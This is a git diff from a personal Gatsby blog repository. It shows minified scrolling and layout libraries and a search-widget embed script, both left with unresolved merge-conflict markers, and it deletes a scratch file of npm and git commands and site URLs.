 !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).reframe=t()}(this,function(){"use strict";function t(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;for(var i=Array(e),o=0,t=0;t<n;t++)for(var r=arguments[t],f=0,d=r.length;f<d;f++,o++)i[o]=r[f];return i}return function(e,s){return void 0===s&&(s="js-reframe"),("string"==typeof e?t(document.querySelectorAll(e)):"length"in e?t(e):[e]).forEach(function(e){var t,n,i,o,r,f,d,l;-1!==e.className.split(" ").indexOf(s)||-1<e.style.width.indexOf("%")||(i=e.getAttribute("height")||e.offsetHeight,o=e.getAttribute("width")||e.offsetWidth,r=("string"==typeof i?parseInt(i):i)/("string"==typeof o?parseInt(o):o)*100,(f=document.createElement("div")).className=s,(d=f.style).position="relative",d.width="100%",d.paddingTop=r+"%",(l=e.style).position="absolute",l.width="100%",l.height="100%",l.left="0",l.top="0",null!==(t=e.parentNode)&&void 0!==t&&t.insertBefore(f,e),null!==(n=e.parentNode)&&void 0!==n&&n.removeChild(e),f.appendChild(e))})}});
+<<<<<<< HEAD
 /*! smooth-scroll v16.1.0 | (c) 2019 Chris Ferdinandi | MIT License | http://github.com/cferdinandi/smooth-scroll */
 window.Element&&!Element.prototype.closest&&(Element.prototype.closest=function(e){var t,n=(this.document||this.ownerDocument).querySelectorAll(e),o=this;do{for(t=n.length;0<=--t&&n.item(t)!==o;);}while(t<0&&(o=o.parentElement));return o}),(function(){if("function"==typeof window.CustomEvent)return;function e(e,t){t=t||{bubbles:!1,cancelable:!1,detail:void 0};var n=document.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.prototype,window.CustomEvent=e})(),(function(){for(var r=0,e=["ms","moz","webkit","o"],t=0;t<e.length&&!window.requestAnimationFrame;++t)window.requestAnimationFrame=window[e[t]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[e[t]+"CancelAnimationFrame"]||window[e[t]+"CancelRequestAnimationFrame"];window.requestAnimationFrame||(window.requestAnimationFrame=function(e,t){var n=(new Date).getTime(),o=Math.max(0,16-(n-r)),a=window.setTimeout((function(){e(n+o)}),o);return r=n+o,a}),window.cancelAnimationFrame||(window.cancelAnimationFrame=function(e){clearTimeout(e)})})(),(function(e,t){"function"==typeof define&&define.amd?define([],(function(){return t(e)})):"object"==typeof exports?module.exports=t(e):e.SmoothScroll=t(e)})("undefined"!=typeof global?global:"undefined"!=typeof window?window:this,(function(q){"use strict";var I={ignore:"[data-scroll-ignore]",header:null,topOnEmptyHash:!0,speed:500,speedAsDuration:!1,durationMax:null,durationMin:null,clip:!0,offset:0,easing:"easeInOutCubic",customEasing:null,updateURL:!0,popstate:!0,emitEvents:!0},F=function(){var n={};return Array.prototype.forEach.call(arguments,(function(e){for(var t in e){if(!e.hasOwnProperty(t))return;n[t]=e[t]}})),n},r=function(e){"#"===e.charAt(0)&&(e=e.substr(1));for(var t,n=String(e),o=n.length,a=-1,r="",i=n.charCodeAt(0);++a<o;){if(0===(t=n.charCodeAt(a)))throw new InvalidCharacterError("Invalid character: the input contains U+0000.");1<=t&&t<=31||127==t||0===a&&48<=t&&t<=57||1===a&&48<=t&&t<=57&&45===i?r+="\\"+t.toString(16)+" ":r+=128<=t||45===t||95===t||48<=t&&t<=57||65<=t&&t<=90||97<=t&&t<=122?n.charAt(a):"\\"+n.charAt(a)}return"#"+r},L=function(){return Math.max(document.body.scrollHeight,document.documentElement.scrollHeight,document.body.offsetHeight,document.documentElement.offsetHeight,document.body.clientHeight,document.documentElement.clientHeight)},x=function(e){return e?(t=e,parseInt(q.getComputedStyle(t).height,10)+e.offsetTop):0;var t},H=function(e,t,n,o){if(t.emitEvents&&"function"==typeof q.CustomEvent){var a=new CustomEvent(e,{bubbles:!0,detail:{anchor:n,toggle:o}});document.dispatchEvent(a)}};return function(o,e){var A,a,O,C,M={};M.cancelScroll=function(e){cancelAnimationFrame(C),C=null,e||H("scrollCancel",A)},M.animateScroll=function(i,c,e){M.cancelScroll();var s=F(A||I,e||{}),u="[object Number]"===Object.prototype.toString.call(i),t=u||!i.tagName?null:i;if(u||t){var l=q.pageYOffset;s.header&&!O&&(O=document.querySelector(s.header));var n,o,a,m,r,d,f,h,p=x(O),g=u?i:(function(e,t,n,o){var a=0;if(e.offsetParent)for(;a+=e.offsetTop,e=e.offsetParent;);return a=Math.max(a-t-n,0),o&&(a=Math.min(a,L()-q.innerHeight)),a})(t,p,parseInt("function"==typeof s.offset?s.offset(i,c):s.offset,10),s.clip),y=g-l,v=L(),w=0,S=(n=y,a=(o=s).speedAsDuration?o.speed:Math.abs(n/1e3*o.speed),o.durationMax&&a>o.durationMax?o.durationMax:o.durationMin&&a<o.durationMin?o.durationMin:parseInt(a,10)),E=function(e,t){var n,o,a,r=q.pageYOffset;if(e==t||r==t||(l<t&&q.innerHeight+r)>=v)return M.cancelScroll(!0),o=t,a=u,0===(n=i)&&document.body.focus(),a||(n.focus(),document.activeElement!==n&&(n.setAttribute("tabindex","-1"),n.focus(),n.style.outline="none"),q.scrollTo(0,o)),H("scrollStop",s,i,c),!(C=m=null)},b=function(e){var t,n,o;m||(m=e),w+=e-m,d=l+y*(n=r=1<(r=0===S?0:w/S)?1:r,"easeInQuad"===(t=s).easing&&(o=n*n),"easeOutQuad"===t.easing&&(o=n*(2-n)),"easeInOutQuad"===t.easing&&(o=n<.5?2*n*n:(4-2*n)*n-1),"easeInCubic"===t.easing&&(o=n*n*n),"easeOutCubic"===t.easing&&(o=--n*n*n+1),"easeInOutCubic"===t.easing&&(o=n<.5?4*n*n*n:(n-1)*(2*n-2)*(2*n-2)+1),"easeInQuart"===t.easing&&(o=n*n*n*n),"easeOutQuart"===t.easing&&(o=1- --n*n*n*n),"easeInOutQuart"===t.easing&&(o=n<.5?8*n*n*n*n:1-8*--n*n*n*n),"easeInQuint"===t.easing&&(o=n*n*n*n*n),"easeOutQuint"===t.easing&&(o=1+--n*n*n*n*n),"easeInOutQuint"===t.easing&&(o=n<.5?16*n*n*n*n*n:1+16*--n*n*n*n*n),t.customEasing&&(o=t.customEasing(n)),o||n),q.scrollTo(0,Math.floor(d)),E(d,g)||(C=q.requestAnimationFrame(b),m=e)};0===q.pageYOffset&&q.scrollTo(0,0),f=i,h=s,u||history.pushState&&h.updateURL&&history.pushState({smoothScroll:JSON.stringify(h),anchor:f.id},document.title,f===document.documentElement?"#top":"#"+f.id),"matchMedia"in q&&q.matchMedia("(prefers-reduced-motion)").matches?q.scrollTo(0,Math.floor(g)):(H("scrollStart",s,i,c),M.cancelScroll(!0),q.requestAnimationFrame(b))}};var t=function(e){if(!e.defaultPrevented&&!(0!==e.button||e.metaKey||e.ctrlKey||e.shiftKey)&&"closest"in e.target&&(a=e.target.closest(o))&&"a"===a.tagName.toLowerCase()&&!e.target.closest(A.ignore)&&a.hostname===q.location.hostname&&a.pathname===q.location.pathname&&/#/.test(a.href)){var t,n=r(a.hash);if("#"===n){if(!A.topOnEmptyHash)return;t=document.documentElement}else t=document.querySelector(n);(t=t||"#top"!==n?t:document.documentElement)&&(e.preventDefault(),(function(e){if(history.replaceState&&e.updateURL&&!history.state){var t=q.location.hash;t=t||"",history.replaceState({smoothScroll:JSON.stringify(e),anchor:t||q.pageYOffset},document.title,t||q.location.href)}})(A),M.animateScroll(t,a))}},n=function(e){if(null!==history.state&&history.state.smoothScroll&&history.state.smoothScroll===JSON.stringify(A)){var t=history.state.anchor;"string"==typeof t&&t&&!(t=document.querySelector(r(history.state.anchor)))||M.animateScroll(t,null,{updateURL:!1})}};M.destroy=function(){A&&(document.removeEventListener("click",t,!1),q.removeEventListener("popstate",n,!1),M.cancelScroll(),C=O=a=A=null)};return (function(){if(!("querySelector"in document&&"addEventListener"in q&&"requestAnimationFrame"in q&&"closest"in q.Element.prototype))throw"Smooth Scroll: This browser does not support the required JavaScript methods and browser APIs.";M.destroy(),A=F(I,e||{}),O=A.header?document.querySelector(A.header):null,document.addEventListener("click",t,!1),A.updateURL&&A.popstate&&q.addEventListener("popstate",n,!1)})(),M}}));
 /*! gumshoejs v5.1.1 | (c) 2019 Chris Ferdinandi | MIT License | http://github.com/cferdinandi/gumshoe */
 Element.prototype.closest || (Element.prototype.matches || (Element.prototype.matches = Element.prototype.msMatchesSelector || Element.prototype.webkitMatchesSelector), Element.prototype.closest = function (t) { var e = this; if (!document.documentElement.contains(this)) return null; do { if (e.matches(t)) return e; e = e.parentElement } while (null !== e); return null }), (function () { if ("function" == typeof window.CustomEvent) return !1; function t(t, e) { e = e || { bubbles: !1, cancelable: !1, detail: void 0 }; var n = document.createEvent("CustomEvent"); return n.initCustomEvent(t, e.bubbles, e.cancelable, e.detail), n } t.prototype = window.Event.prototype, window.CustomEvent = t })(), (function (t, e) { "function" == typeof define && define.amd ? define([], (function () { return e(t) })) : "object" == typeof exports ? module.exports = e(t) : t.Gumshoe = e(t) })("undefined" != typeof global ? global : "undefined" != typeof window ? window : this, (function (t) { "use strict"; var e = { navClass: "active", contentClass: "active", nested: !1, nestedClass: "active", offset: 0, reflow: !1, events: !0 }, n = function (t, e, n) { if (n.settings.events) { var o = new CustomEvent(t, { bubbles: !0, cancelable: !0, detail: n }); e.dispatchEvent(o) } }, o = function (t) { var e = 0; if (t.offsetParent) for (; t;)e += t.offsetTop, t = t.offsetParent; return e >= 0 ? e : 0 }, s = function (t) { t && t.sort((function (t, e) { return o(t.content) < o(e.content) ? -1 : 1 })) }, c = function (e, n, o) { var s = e.getBoundingClientRect(), c = (function (t) { return "function" == typeof t.offset ? parseFloat(t.offset()) : parseFloat(t.offset) })(n); return o ? parseInt(s.bottom, 10) < (t.innerHeight || document.documentElement.clientHeight) : parseInt(s.top, 10) <= c }, r = function () { return t.innerHeight + t.pageYOffset >= Math.max(document.body.scrollHeight, document.documentElement.scrollHeight, document.body.offsetHeight, document.documentElement.offsetHeight, document.body.clientHeight, document.documentElement.clientHeight) }, i = function (t, e) { var n = t[t.length - 1]; if (function (t, e) { return !(!r() || !c(t.content, e, !0)) }(n, e)) return n; for (var o = t.length - 1; o >= 0; o--)if (c(t[o].content, e)) return t[o] }, l = function (t, e) { if (e.nested) { var n = t.parentNode.closest("li"); n && (n.classList.remove(e.nestedClass), l(n, e)) } }, a = function (t, e) { if (t) { var o = t.nav.closest("li"); o && (o.classList.remove(e.navClass), t.content.classList.remove(e.contentClass), l(o, e), n("gumshoeDeactivate", o, { link: t.nav, content: t.content, settings: e })) } }, u = function (t, e) { if (e.nested) { var n = t.parentNode.closest("li"); n && (n.classList.add(e.nestedClass), u(n, e)) } }; return function (o, c) { var r, l, f, d, m, v = {}; v.setup = function () { r = document.querySelectorAll(o), l = [], Array.prototype.forEach.call(r, (function (t) { var e = document.getElementById(decodeURIComponent(t.hash.substr(1))); e && l.push({ nav: t, content: e }) })), s(l) }, v.detect = function () { var t = i(l, m); t ? f && t.content === f.content || (a(f, m), (function (t, e) { if (t) { var o = t.nav.closest("li"); o && (o.classList.add(e.navClass), t.content.classList.add(e.contentClass), u(o, e), n("gumshoeActivate", o, { link: t.nav, content: t.content, settings: e })) } })(t, m), f = t) : f && (a(f, m), f = null) }; var p = function (e) { d && t.cancelAnimationFrame(d), d = t.requestAnimationFrame(v.detect) }, h = function (e) { d && t.cancelAnimationFrame(d), d = t.requestAnimationFrame((function () { s(l), v.detect() })) }; v.destroy = function () { f && a(f, m), t.removeEventListener("scroll", p, !1), m.reflow && t.removeEventListener("resize", h, !1), l = null, r = null, f = null, d = null, m = null }; return m = (function () { var t = {}; return Array.prototype.forEach.call(arguments, (function (e) { for (var n in e) { if (!e.hasOwnProperty(n)) return; t[n] = e[n] } })), t })(e, c || {}), v.setup(), v.detect(), t.addEventListener("scroll", p, !1), m.reflow && t.addEventListener("resize", h, !1), v } }));
+=======
+
+/*! smooth-scroll v16.1.0 | (c) 2019 Chris Ferdinandi | MIT License | http://github.com/cferdinandi/smooth-scroll */
+window.Element&&!Element.prototype.closest&&(Element.prototype.closest=function(e){var t,n=(this.document||this.ownerDocument).querySelectorAll(e),o=this;do{for(t=n.length;0<=--t&&n.item(t)!==o;);}while(t<0&&(o=o.parentElement));return o}),(function(){if("function"==typeof window.CustomEvent)return;function e(e,t){t=t||{bubbles:!1,cancelable:!1,detail:void 0};var n=document.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.prototype,window.CustomEvent=e})(),(function(){for(var r=0,e=["ms","moz","webkit","o"],t=0;t<e.length&&!window.requestAnimationFrame;++t)window.requestAnimationFrame=window[e[t]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[e[t]+"CancelAnimationFrame"]||window[e[t]+"CancelRequestAnimationFrame"];window.requestAnimationFrame||(window.requestAnimationFrame=function(e,t){var n=(new Date).getTime(),o=Math.max(0,16-(n-r)),a=window.setTimeout((function(){e(n+o)}),o);return r=n+o,a}),window.cancelAnimationFrame||(window.cancelAnimationFrame=function(e){clearTimeout(e)})})(),(function(e,t){"function"==typeof define&&define.amd?define([],(function(){return t(e)})):"object"==typeof exports?module.exports=t(e):e.SmoothScroll=t(e)})("undefined"!=typeof global?global:"undefined"!=typeof window?window:this,(function(q){"use strict";var I={ignore:"[data-scroll-ignore]",header:null,topOnEmptyHash:!0,speed:500,speedAsDuration:!1,durationMax:null,durationMin:null,clip:!0,offset:0,easing:"easeInOutCubic",customEasing:null,updateURL:!0,popstate:!0,emitEvents:!0},F=function(){var n={};return Array.prototype.forEach.call(arguments,(function(e){for(var t in e){if(!e.hasOwnProperty(t))return;n[t]=e[t]}})),n},r=function(e){"#"===e.charAt(0)&&(e=e.substr(1));for(var t,n=String(e),o=n.length,a=-1,r="",i=n.charCodeAt(0);++a<o;){if(0===(t=n.charCodeAt(a)))throw new InvalidCharacterError("Invalid character: the input contains U+0000.");1<=t&&t<=31||127==t||0===a&&48<=t&&t<=57||1===a&&48<=t&&t<=57&&45===i?r+="\\"+t.toString(16)+" ":r+=128<=t||45===t||95===t||48<=t&&t<=57||65<=t&&t<=90||97<=t&&t<=122?n.charAt(a):"\\"+n.charAt(a)}return"#"+r},L=function(){return Math.max(document.body.scrollHeight,document.documentElement.scrollHeight,document.body.offsetHeight,document.documentElement.offsetHeight,document.body.clientHeight,document.documentElement.clientHeight)},x=function(e){return e?(t=e,parseInt(q.getComputedStyle(t).height,10)+e.offsetTop):0;var t},H=function(e,t,n,o){if(t.emitEvents&&"function"==typeof q.CustomEvent){var a=new CustomEvent(e,{bubbles:!0,detail:{anchor:n,toggle:o}});document.dispatchEvent(a)}};return function(o,e){var A,a,O,C,M={};M.cancelScroll=function(e){cancelAnimationFrame(C),C=null,e||H("scrollCancel",A)},M.animateScroll=function(i,c,e){M.cancelScroll();var s=F(A||I,e||{}),u="[object Number]"===Object.prototype.toString.call(i),t=u||!i.tagName?null:i;if(u||t){var l=q.pageYOffset;s.header&&!O&&(O=document.querySelector(s.header));var n,o,a,m,r,d,f,h,p=x(O),g=u?i:(function(e,t,n,o){var a=0;if(e.offsetParent)for(;a+=e.offsetTop,e=e.offsetParent;);return a=Math.max(a-t-n,0),o&&(a=Math.min(a,L()-q.innerHeight)),a})(t,p,parseInt("function"==typeof s.offset?s.offset(i,c):s.offset,10),s.clip),y=g-l,v=L(),w=0,S=(n=y,a=(o=s).speedAsDuration?o.speed:Math.abs(n/1e3*o.speed),o.durationMax&&a>o.durationMax?o.durationMax:o.durationMin&&a<o.durationMin?o.durationMin:parseInt(a,10)),E=function(e,t){var n,o,a,r=q.pageYOffset;if(e==t||r==t||(l<t&&q.innerHeight+r)>=v)return M.cancelScroll(!0),o=t,a=u,0===(n=i)&&document.body.focus(),a||(n.focus(),document.activeElement!==n&&(n.setAttribute("tabindex","-1"),n.focus(),n.style.outline="none"),q.scrollTo(0,o)),H("scrollStop",s,i,c),!(C=m=null)},b=function(e){var t,n,o;m||(m=e),w+=e-m,d=l+y*(n=r=1<(r=0===S?0:w/S)?1:r,"easeInQuad"===(t=s).easing&&(o=n*n),"easeOutQuad"===t.easing&&(o=n*(2-n)),"easeInOutQuad"===t.easing&&(o=n<.5?2*n*n:(4-2*n)*n-1),"easeInCubic"===t.easing&&(o=n*n*n),"easeOutCubic"===t.easing&&(o=--n*n*n+1),"easeInOutCubic"===t.easing&&(o=n<.5?4*n*n*n:(n-1)*(2*n-2)*(2*n-2)+1),"easeInQuart"===t.easing&&(o=n*n*n*n),"easeOutQuart"===t.easing&&(o=1- --n*n*n*n),"easeInOutQuart"===t.easing&&(o=n<.5?8*n*n*n*n:1-8*--n*n*n*n),"easeInQuint"===t.easing&&(o=n*n*n*n*n),"easeOutQuint"===t.easing&&(o=1+--n*n*n*n*n),"easeInOutQuint"===t.easing&&(o=n<.5?16*n*n*n*n*n:1+16*--n*n*n*n*n),t.customEasing&&(o=t.customEasing(n)),o||n),q.scrollTo(0,Math.floor(d)),E(d,g)||(C=q.requestAnimationFrame(b),m=e)};0===q.pageYOffset&&q.scrollTo(0,0),f=i,h=s,u||history.pushState&&h.updateURL&&history.pushState({smoothScroll:JSON.stringify(h),anchor:f.id},document.title,f===document.documentElement?"#top":"#"+f.id),"matchMedia"in q&&q.matchMedia("(prefers-reduced-motion)").matches?q.scrollTo(0,Math.floor(g)):(H("scrollStart",s,i,c),M.cancelScroll(!0),q.requestAnimationFrame(b))}};var t=function(e){if(!e.defaultPrevented&&!(0!==e.button||e.metaKey||e.ctrlKey||e.shiftKey)&&"closest"in e.target&&(a=e.target.closest(o))&&"a"===a.tagName.toLowerCase()&&!e.target.closest(A.ignore)&&a.hostname===q.location.hostname&&a.pathname===q.location.pathname&&/#/.test(a.href)){var t,n=r(a.hash);if("#"===n){if(!A.topOnEmptyHash)return;t=document.documentElement}else t=document.querySelector(n);(t=t||"#top"!==n?t:document.documentElement)&&(e.preventDefault(),(function(e){if(history.replaceState&&e.updateURL&&!history.state){var t=q.location.hash;t=t||"",history.replaceState({smoothScroll:JSON.stringify(e),anchor:t||q.pageYOffset},document.title,t||q.location.href)}})(A),M.animateScroll(t,a))}},n=function(e){if(null!==history.state&&history.state.smoothScroll&&history.state.smoothScroll===JSON.stringify(A)){var t=history.state.anchor;"string"==typeof t&&t&&!(t=document.querySelector(r(history.state.anchor)))||M.animateScroll(t,null,{updateURL:!1})}};M.destroy=function(){A&&(document.removeEventListener("click",t,!1),q.removeEventListener("popstate",n,!1),M.cancelScroll(),C=O=a=A=null)};return (function(){if(!("querySelector"in document&&"addEventListener"in q&&"requestAnimationFrame"in q&&"closest"in q.Element.prototype))throw"Smooth Scroll: This browser does not support the required JavaScript methods and browser APIs.";M.destroy(),A=F(I,e||{}),O=A.header?document.querySelector(A.header):null,document.addEventListener("click",t,!1),A.updateURL&&A.popstate&&q.addEventListener("popstate",n,!1)})(),M}}));
+
+/*! gumshoejs v5.1.1 | (c) 2019 Chris Ferdinandi | MIT License | http://github.com/cferdinandi/gumshoe */
+Element.prototype.closest || (Element.prototype.matches || (Element.prototype.matches = Element.prototype.msMatchesSelector || Element.prototype.webkitMatchesSelector), Element.prototype.closest = function (t) { var e = this; if (!document.documentElement.contains(this)) return null; do { if (e.matches(t)) return e; e = e.parentElement } while (null !== e); return null }), (function () { if ("function" == typeof window.CustomEvent) return !1; function t(t, e) { e = e || { bubbles: !1, cancelable: !1, detail: void 0 }; var n = document.createEvent("CustomEvent"); return n.initCustomEvent(t, e.bubbles, e.cancelable, e.detail), n } t.prototype = window.Event.prototype, window.CustomEvent = t })(), (function (t, e) { "function" == typeof define && define.amd ? define([], (function () { return e(t) })) : "object" == typeof exports ? module.exports = e(t) : t.Gumshoe = e(t) })("undefined" != typeof global ? global : "undefined" != typeof window ? window : this, (function (t) { "use strict"; var e = { navClass: "active", contentClass: "active", nested: !1, nestedClass: "active", offset: 0, reflow: !1, events: !0 }, n = function (t, e, n) { if (n.settings.events) { var o = new CustomEvent(t, { bubbles: !0, cancelable: !0, detail: n }); e.dispatchEvent(o) } }, o = function (t) { var e = 0; if (t.offsetParent) for (; t;)e += t.offsetTop, t = t.offsetParent; return e >= 0 ? e : 0 }, s = function (t) { t && t.sort((function (t, e) { return o(t.content) < o(e.content) ? -1 : 1 })) }, c = function (e, n, o) { var s = e.getBoundingClientRect(), c = (function (t) { return "function" == typeof t.offset ? parseFloat(t.offset()) : parseFloat(t.offset) })(n); return o ? parseInt(s.bottom, 10) < (t.innerHeight || document.documentElement.clientHeight) : parseInt(s.top, 10) <= c }, r = function () { return t.innerHeight + t.pageYOffset >= Math.max(document.body.scrollHeight, document.documentElement.scrollHeight, document.body.offsetHeight, document.documentElement.offsetHeight, document.body.clientHeight, document.documentElement.clientHeight) }, i = function (t, e) { var n = t[t.length - 1]; if (function (t, e) { return !(!r() || !c(t.content, e, !0)) }(n, e)) return n; for (var o = t.length - 1; o >= 0; o--)if (c(t[o].content, e)) return t[o] }, l = function (t, e) { if (e.nested) { var n = t.parentNode.closest("li"); n && (n.classList.remove(e.nestedClass), l(n, e)) } }, a = function (t, e) { if (t) { var o = t.nav.closest("li"); o && (o.classList.remove(e.navClass), t.content.classList.remove(e.contentClass), l(o, e), n("gumshoeDeactivate", o, { link: t.nav, content: t.content, settings: e })) } }, u = function (t, e) { if (e.nested) { var n = t.parentNode.closest("li"); n && (n.classList.add(e.nestedClass), u(n, e)) } }; return function (o, c) { var r, l, f, d, m, v = {}; v.setup = function () { r = document.querySelectorAll(o), l = [], Array.prototype.forEach.call(r, (function (t) { var e = document.getElementById(decodeURIComponent(t.hash.substr(1))); e && l.push({ nav: t, content: e }) })), s(l) }, v.detect = function () { var t = i(l, m); t ? f && t.content === f.content || (a(f, m), (function (t, e) { if (t) { var o = t.nav.closest("li"); o && (o.classList.add(e.navClass), t.content.classList.add(e.contentClass), u(o, e), n("gumshoeActivate", o, { link: t.nav, content: t.content, settings: e })) } })(t, m), f = t) : f && (a(f, m), f = null) }; var p = function (e) { d && t.cancelAnimationFrame(d), d = t.requestAnimationFrame(v.detect) }, h = function (e) { d && t.cancelAnimationFrame(d), d = t.requestAnimationFrame((function () { s(l), v.detect() })) }; v.destroy = function () { f && a(f, m), t.removeEventListener("scroll", p, !1), m.reflow && t.removeEventListener("resize", h, !1), l = null, r = null, f = null, d = null, m = null }; return m = (function () { var t = {}; return Array.prototype.forEach.call(arguments, (function (e) { for (var n in e) { if (!e.hasOwnProperty(n)) return; t[n] = e[n] } })), t })(e, c || {}), v.setup(), v.detect(), t.addEventListener("scroll", p, !1), m.reflow && t.addEventListener("resize", h, !1), v } }));
+
+>>>>>>> master
 /*!
  * clipboard.js v2.0.4
  * https://zenorocha.github.io/clipboard.js
diff --git a/static/js/search-create.js b/static/js/search-create.js
index fbd5232efb..1ef296a452 100644
--- a/static/js/search-create.js
+++ b/static/js/search-create.js
@@ -1,3 +1,4 @@
+/* Creating a div element and appending it to the body of the page. */
 let div = window.createElement('div');
 div.id('search');
 div.style = 'z-index:-1; position:absolute;width: 300px;height: 300px;bottom: 0px;right: 25%;left: 50 %;';
diff --git a/static/js/searchbar.js b/static/js/searchbar.js
index b6a1fa73b6..f92f15af00 100644
--- a/static/js/searchbar.js
+++ b/static/js/searchbar.js
@@ -1,3 +1,4 @@
+<<<<<<< HEAD
 'use strict';
 !(function () {
     var t =
@@ -11,3 +12,19 @@
     }
     'complete' === document.readyState ? e() : window.attachEvent ? window.attachEvent('onload', e) : window.addEventListener('load', e, !1);
 })();
+=======
+// 'use strict';
+
+// !(function () {
+//     var t =
+//         'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjYxZDM2MTc3YmNjM2JjNmJiZjk3NzQyYSIsInRva2VuVHlwZSI6InB1YmxpYyIsImlhdCI6MTY1Mzc4Njc4OCwiZXhwIjoxNDI2ODE4Njc4OH0.Sa1QtfZAc7V0M1LbrliXfGQEK4UkLBRkNjrALtra-_o';
+//     function e() {
+//         var e = document.createElement('script'),
+//             a = navigator.language || navigator.userLanguage;
+//         (e.type = 'text/javascript'), (e.async = !0), (e.src = 'https://api.searchbar.org/v1/widget/' + t + '/' + a);
+//         var n = document.getElementsByTagName('script')[0];
+//         n.parentNode.insertBefore(e, n);
+//     }
+//     'complete' === document.readyState ? e() : window.attachEvent ? window.attachEvent('onload', e) : window.addEventListener('load', e, !1);
+// })();
+>>>>>>> master
diff --git a/temp.md b/temp.md
deleted file mode 100644
index 9f30483d34..0000000000
--- a/temp.md
+++ /dev/null
@@ -1,404 +0,0 @@
-npm i @stackbit/gatsby-plugin-menus babel-runtime chokidar classnames fs-extra gatsby gatsby-image gatsby-plugin-netlify gatsby-plugin-netlify-cms gatsby-plugin-sass gatsby-plugin-react-helmet gatsby-plugin-typescript  -f
-
-  
-
-
-git add ./docs/
-
-git add ./favicon.ico
-
-git add ./favicon.png
-
-git add ./functions/
-
-git add ./gatsby-browser.js     
-
-git add ./gatsby-config.js      
-
-git add ./gatsby-node.js        
-
-git add ./gatsby-ssr.js
-
-git add ./gitpod.yml
-
-git add ./googled2b1865dedd985a4.html
-
-git add ./lambda/
-
-git add ./LICENSE
-
-git add ./makefile
-
-git add ./netlify/
-
-git add ./netlify.toml
-
-git add ./node_modules/
-
-git add ./notes/
-
-git add ./package.json
-
-git add ./stackbit.yml
-
-git add ./static/
-
-git add ./temp.md
-
-git add ./TODO.md
-
-git add ./vercel.json
-
-
-
-
-
-git commit -m   "blueprint.md"
-git commit -m   "cloudflared.deb       "
-git commit -m   "docs/"
-git commit -m   "favicon.ico"
-git commit -m   "favicon.png"
-git commit -m   "functions/"
-git commit -m   "gatsby-browser.js     "
-git commit -m   "gatsby-config.js      "
-git commit -m   "gatsby-node.js        "
-git commit -m   "gatsby-ssr.js"
-git commit -m   "gitpod.yml"
-git commit -m   "googled2b1865dedd985a4.html"
-git commit -m   "lambda/"
-git commit -m   "LICENSE"
-git commit -m   "makefile"
-git commit -m   "netlify/"
-git commit -m   "netlify.toml"
-git commit -m   "node_modules/"
-git commit -m   "notes/"
-git commit -m   "package.json"
-git commit -m   "stackbit.yml"
-git commit -m   "static/"
-git commit -m   "temp.md"
-git commit -m   "TODO.md"
-git commit -m   "vercel.json"
-
-
-
-
-
-
-
-http://www.google.com/schemas/sitemap-news/0.9"
-http://www.w3.org/1999/xhtml"
-http://www.google.com/schemas/sitemap-mobile/1.0"
-http://www.google.com/schemas/sitemap-image/1.1"
-http://www.google.com/schemas/sitemap-video/1.1">
-https://bgoonz-blog.netlify.app/
-https://bgoonz-blog.netlify.app/admin
-https://bgoonz-blog.netlify.app/blog
-https://bgoonz-blog.netlify.app/docs
-https://bgoonz-blog.netlify.app/interview-questions-js
-https://bgoonz-blog.netlify.app/privacy-policy
-https://bgoonz-blog.netlify.app/readme
-https://bgoonz-blog.netlify.app/showcase
-https://bgoonz-blog.netlify.app/blog/300-react-questions
-https://bgoonz-blog.netlify.app/blog/adding-css-to-your-html
-https://bgoonz-blog.netlify.app/blog/awesome-graphql
-https://bgoonz-blog.netlify.app/blog/big-o-complexity
-https://bgoonz-blog.netlify.app/blog/blog-archive
-https://bgoonz-blog.netlify.app/blog/data-structures
-https://bgoonz-blog.netlify.app/blog/data-structures-algorithms-resources
-https://bgoonz-blog.netlify.app/blog/date-component
-https://bgoonz-blog.netlify.app/blog/event-handeling
-https://bgoonz-blog.netlify.app/blog/expressjs-apis
-https://bgoonz-blog.netlify.app/blog/flow-control-in-python
-https://bgoonz-blog.netlify.app/blog/functions-in-python
-https://bgoonz-blog.netlify.app/blog/git-gateway
-https://bgoonz-blog.netlify.app/blog/grep-in-linuz
-https://bgoonz-blog.netlify.app/blog/hoisting
-https://bgoonz-blog.netlify.app/blog/htt-requests
-https://bgoonz-blog.netlify.app/blog/interview-questions-js
-https://bgoonz-blog.netlify.app/blog/interview-questions-js-p2
-https://bgoonz-blog.netlify.app/blog/interview-questions-js-p3
-https://bgoonz-blog.netlify.app/blog/intro-01-data-structures
-https://bgoonz-blog.netlify.app/blog/netlify-cms
-https://bgoonz-blog.netlify.app/blog/passing-arguments-to-a-callback-in-js
-https://bgoonz-blog.netlify.app/blog/platform-docs
-https://bgoonz-blog.netlify.app/blog/psql-cheat-sheet
-https://bgoonz-blog.netlify.app/blog/python-for-js-dev
-https://bgoonz-blog.netlify.app/blog/python-resources
-https://bgoonz-blog.netlify.app/blog/react-semantics
-https://bgoonz-blog.netlify.app/blog/using-the-dom
-https://bgoonz-blog.netlify.app/blog/vs-code-extensions
-https://bgoonz-blog.netlify.app/blog/vscode-extensions
-https://bgoonz-blog.netlify.app/blog/web-dev-trends
-https://bgoonz-blog.netlify.app/blog/web-scraping
-https://bgoonz-blog.netlify.app/docs/about
-https://bgoonz-blog.netlify.app/docs/archive
-https://bgoonz-blog.netlify.app/docs/articles
-https://bgoonz-blog.netlify.app/docs/audio
-https://bgoonz-blog.netlify.app/docs/career
-https://bgoonz-blog.netlify.app/docs/community
-https://bgoonz-blog.netlify.app/docs/content
-https://bgoonz-blog.netlify.app/docs/css
-https://bgoonz-blog.netlify.app/docs/docs
-https://bgoonz-blog.netlify.app/docs/ds-algo
-https://bgoonz-blog.netlify.app/docs/faq
-https://bgoonz-blog.netlify.app/docs/git
-https://bgoonz-blog.netlify.app/docs/glossary
-https://bgoonz-blog.netlify.app/docs/google-hosted-libraries
-https://bgoonz-blog.netlify.app/docs/interact
-https://bgoonz-blog.netlify.app/docs/javascript
-https://bgoonz-blog.netlify.app/docs/js-tips
-https://bgoonz-blog.netlify.app/docs/leetcode
-https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack
